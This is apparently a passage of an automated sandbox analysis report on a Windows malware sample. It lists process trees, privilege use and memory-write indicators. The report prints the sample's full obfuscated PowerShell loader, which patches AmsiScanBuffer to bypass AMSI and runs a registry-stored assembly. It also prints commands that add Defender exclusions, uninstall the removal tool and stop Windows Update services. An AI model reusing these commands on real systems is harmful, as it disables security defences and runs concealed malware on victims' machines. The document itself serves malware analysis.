svchost.exe Token: SeUndockPrivilege 2156 svchost.exe Token: SeManageVolumePrivilege 2156 svchost.exe Token: SeAuditPrivilege 2844 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2156 svchost.exe Token: SeIncreaseQuotaPrivilege 2156 svchost.exe Token: SeSecurityPrivilege 2156 svchost.exe Token: SeTakeOwnershipPrivilege 2156 svchost.exe Token: SeLoadDriverPrivilege 2156 svchost.exe Token: SeSystemtimePrivilege 2156 svchost.exe Token: SeBackupPrivilege 2156 svchost.exe Token: SeRestorePrivilege 2156 svchost.exe Token: SeShutdownPrivilege 2156 svchost.exe Token: SeSystemEnvironmentPrivilege 2156 svchost.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5052 dialer.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3312 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2272 wrote to memory of 1880 2272 cmd.exe 103 PID 2452 wrote to memory of 3080 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 116 PID 2452 wrote to memory of 3080 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 116 PID 2452 wrote to memory of 3080 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 116 PID 2452 wrote to memory of 3080 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 116 PID 2452 wrote to memory of 3080 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 116 PID 2908 wrote to memory of 3848 2908 cmd.exe 134 PID 1908 wrote to memory of 760 1908 cmd.exe 141 PID 4724 wrote to memory of 4548 4724 szlvtzbcbfby.exe 156 PID 4724 wrote to memory of 4548 4724 szlvtzbcbfby.exe 156 PID 4724 wrote to memory of 4548 4724 szlvtzbcbfby.exe 156 PID 4724 wrote to memory of 4548 4724 szlvtzbcbfby.exe 156 PID 4724 wrote to memory of 4548 4724 szlvtzbcbfby.exe 156 PID 4724 wrote to memory of 596 4724 szlvtzbcbfby.exe 159 PID 4724 wrote to memory of 596 4724 szlvtzbcbfby.exe 159 PID 4724 wrote to memory of 596 4724 szlvtzbcbfby.exe 159 PID 4724 wrote to memory of 596 4724 szlvtzbcbfby.exe 159 PID 4724 wrote to memory of 596 4724 szlvtzbcbfby.exe 159 PID 4724 wrote to memory of 596 4724 szlvtzbcbfby.exe 159 PID 4724 wrote to memory of 596 4724 szlvtzbcbfby.exe 159 PID 4724 wrote to memory of 596 4724 szlvtzbcbfby.exe 159 PID 4724 wrote to memory of 5052 4724 szlvtzbcbfby.exe 160 PID 4724 wrote to memory of 5052 4724 szlvtzbcbfby.exe 160 PID 4724 wrote to memory of 5052 4724 szlvtzbcbfby.exe 160 PID 632 wrote to memory of 4060 632 powershell.EXE 163 PID 632 wrote to memory of 4060 632 powershell.EXE 163 PID 632 wrote to memory of 4060 632 powershell.EXE 163 PID 632 wrote to memory of 4060 632 powershell.EXE 163 PID 632 wrote to memory of 4060 632 powershell.EXE 163 PID 4060 wrote to memory of 620 4060 dllhost.exe 5 PID 4060 wrote to memory of 676 4060 dllhost.exe 7 PID 4060 wrote to memory of 884 4060 dllhost.exe 11 PID 4060 wrote to memory of 312 4060 dllhost.exe 13 PID 4060 wrote to memory of 400 4060 dllhost.exe 14 PID 4060 wrote to memory of 864 4060 dllhost.exe 15 PID 4060 wrote to memory of 1072 4060 dllhost.exe 16 PID 4060 wrote to memory of 1140 4060 dllhost.exe 17 PID 4060 wrote to memory of 1148 4060 dllhost.exe 18 PID 4060 wrote to memory of 1160 4060 dllhost.exe 19 PID 4060 wrote to memory of 1212 4060 dllhost.exe 21 PID 4060 wrote to memory of 1304 4060 dllhost.exe 22 PID 4060 wrote to memory of 1356 4060 dllhost.exe 23 PID 4060 wrote to memory of 1372 4060 dllhost.exe 24 PID 4060 wrote to memory of 1448 4060 dllhost.exe 25 PID 4060 wrote to memory of 1500 4060 dllhost.exe 26 PID 4060 wrote to memory of 1520 4060 dllhost.exe 27 PID 4060 wrote to memory of 1728 4060 dllhost.exe 28 PID 4060 wrote to memory of 1736 4060 dllhost.exe 29 PID 4060 wrote to memory of 1796 4060 dllhost.exe 30 PID 4060 wrote to memory of 1896 4060 dllhost.exe 31 PID 4060 wrote to memory of 1916 4060 dllhost.exe 32 PID 4060 wrote to memory of 1940 4060 dllhost.exe 33 PID 4060 wrote to memory of 2024 4060 dllhost.exe 34 PID 4060 wrote to memory of 1964 4060 dllhost.exe 35 PID 4060 wrote to memory of 1176 4060 dllhost.exe 36 PID 4060 wrote to memory of 2112 4060 dllhost.exe 37 PID 4060 wrote to memory of 2124 4060 dllhost.exe 38 PID 4060 wrote to memory of 2156 4060 dllhost.exe 39 PID 4060 wrote to memory of 2264 4060 dllhost.exe 40 PID 4060 wrote to memory of 2352 4060 dllhost.exe 42 PID 4060 wrote to memory of 2468 4060 dllhost.exe 43 PID 4060 wrote to memory of 2576 4060 dllhost.exe 44 PID 4060 wrote to memory of 2588 4060 dllhost.exe 45 PID 4060 wrote to memory of 2812 4060 dllhost.exe 46 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:400
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f4f0b60d-9cce-4949-bd59-b476c1458c86}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4060
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e82a6519-28cf-48c8-9e39-3b51729df3e1}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:8368
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a7d883d4-841c-49cd-bc6b-48e57dd634bc -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-15ac8acb-b28b-4bb1-a7dc-645ae7789e3d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-eaa36279-2298-448f-af12-b069027ac10b -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e02e8669-0daa-4697-97bf-9dfce0a67397 -LifetimeId:dac5c7e6-2258-416d-bcbd-c64cfec98577 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:864
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1160 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:1632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PlbpCexCOkHf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KavtICMLFkiljN,[Parameter(Position=1)][Type]$SbTKPKYfjl)$EYjWBeCckhG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+''+'e'+'cte'+'d'+''+'D'+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'Me'+[Char](109)+'or'+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+'D'+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+'te'+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+'C'+''+[Char](108)+'as'+'s'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+''+'l'+''+'e'+'d,'+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s'+','+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$EYjWBeCckhG.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+'al'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+'e'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+','+''+'P'+''+'u'+'bl'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$KavtICMLFkiljN).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+'an'+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$EYjWBeCckhG.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'N'+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+'l'+'',$SbTKPKYfjl,$KavtICMLFkiljN).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+','+''+'M'+'a'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $EYjWBeCckhG.CreateType();}$BSdkDLxftcbTA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+'f'+''+'t'+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$GioohorPuFRRuv=$BSdkDLxftcbTA.GetMethod('Get'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+'c'+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NcVogSQzCClPYqflvHa=PlbpCexCOkHf @([String])([IntPtr]);$hvRbwNEEdTKmJrVcpEWqms=PlbpCexCOkHf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IvXNGlWdmnx=$BSdkDLxftcbTA.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+'du'+[Char](108)+'e'+'H'+''+'a'+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+'e'+'rn'+'e'+''+'l'+''+[Char](51)+'2.'+[Char](100)+'ll')));$bfQxsZVyyEslHx=$GioohorPuFRRuv.Invoke($Null,@([Object]$IvXNGlWdmnx,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$jOyTVNAYxiOAaLLsu=$GioohorPuFRRuv.Invoke($Null,@([Object]$IvXNGlWdmnx,[Object](''+[Char](86)+'irt'+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+'c'+''+'t'+'')));$TardXqP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bfQxsZVyyEslHx,$NcVogSQzCClPYqflvHa).Invoke('a'+[Char](109)+''+[Char](115)+'i.'+[Char](100)+''+[Char](108)+'l');$nAuNSBEFImaGsdFFn=$GioohorPuFRRuv.Invoke($Null,@([Object]$TardXqP,[Object]('A'+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+'ff'+[Char](101)+''+[Char](114)+'')));$pzDdRjRrXT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jOyTVNAYxiOAaLLsu,$hvRbwNEEdTKmJrVcpEWqms).Invoke($nAuNSBEFImaGsdFFn,[uint32]8,4,[ref]$pzDdRjRrXT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$nAuNSBEFImaGsdFFn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jOyTVNAYxiOAaLLsu,$hvRbwNEEdTKmJrVcpEWqms).Invoke($nAuNSBEFImaGsdFFn,[uint32]8,0x20,[ref]$pzDdRjRrXT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+[Char](108)+''+'e'+''+'r'+''+[Char](115)+'t'+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:364
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hcDKATdZNQEN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mLGhObCvBIMDzR,[Parameter(Position=1)][Type]$BrtvMuBkMA)$SmDhxmlSChn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+'te'+'d'+''+[Char](68)+''+[Char](101)+'le'+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e','C'+[Char](108)+'a'+'s'+''+'s'+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+'l'+'ed,'+[Char](65)+''+[Char](110)+''+'s'+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+','+'A'+'u'+''+[Char](116)+''+[Char](111)+'C'+'l'+'a'+'s'+''+'s'+'',[MulticastDelegate]);$SmDhxmlSChn.DefineConstructor(''+[Char](82)+''+'T'+'S'+'p'+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+'i'+[Char](100)+'e'+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$mLGhObCvBIMDzR).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'Ma'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$SmDhxmlSChn.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+'H'+'i'+''+[Char](100)+'eB'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+'lo'+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+'r'+'tua'+[Char](108)+'',$BrtvMuBkMA,$mLGhObCvBIMDzR).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $SmDhxmlSChn.CreateType();}$QmgRAHOftGPVW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+'em'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'cr'+'o'+'s'+'o'+'ft'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+'sa'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'v'+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+'h'+'o'+[Char](100)+''+[Char](115)+'');$olKdhyknhqUBRq=$QmgRAHOftGPVW.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'ddr'+'e'+''+'s'+''+'s'+'',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xXyEnaENUzTSiazoYfE=hcDKATdZNQEN @([String])([IntPtr]);$uUgQkIJzgVlJYLuhtnfhmK=hcDKATdZNQEN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uqapkxRIqPt=$QmgRAHOftGPVW.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'M'+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$lHTkhsfZXRawha=$olKdhyknhqUBRq.Invoke($Null,@([Object]$uqapkxRIqPt,[Object]('L'+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+'ibr'+'a'+''+'r'+''+'y'+''+'A'+'')));$DOFWKUwSFUwyLqQWh=$olKdhyknhqUBRq.Invoke($Null,@([Object]$uqapkxRIqPt,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+'u'+''+[Char](97)+'l'+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$bznDaEa=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lHTkhsfZXRawha,$xXyEnaENUzTSiazoYfE).Invoke('am'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$oyQpPzszNQLGXWjhN=$olKdhyknhqUBRq.Invoke($Null,@([Object]$bznDaEa,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+'an'+[Char](66)+''+'u'+''+'f'+''+'f'+''+[Char](101)+''+'r'+'')));$hTvbcDxzDV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DOFWKUwSFUwyLqQWh,$uUgQkIJzgVlJYLuhtnfhmK).Invoke($oyQpPzszNQLGXWjhN,[uint32]8,4,[ref]$hTvbcDxzDV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$oyQpPzszNQLGXWjhN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DOFWKUwSFUwyLqQWh,$uUgQkIJzgVlJYLuhtnfhmK).Invoke($oyQpPzszNQLGXWjhN,[uint32]8,0x20,[ref]$hTvbcDxzDV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+'r'+'s'+'t'+[Char](97)+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5112 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1500
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1896
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1916
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1964
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2112
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2156
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2264
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2352
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2812
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2824
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2832
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2844
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3216
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3312 -
C:\Users\Admin\AppData\Local\Temp\_d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe"C:\Users\Admin\AppData\Local\Temp\_d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe"2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4888
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:1880
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-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:628
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3260
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:3364
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:3844
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:4024
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5112
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4060
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:560
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1120
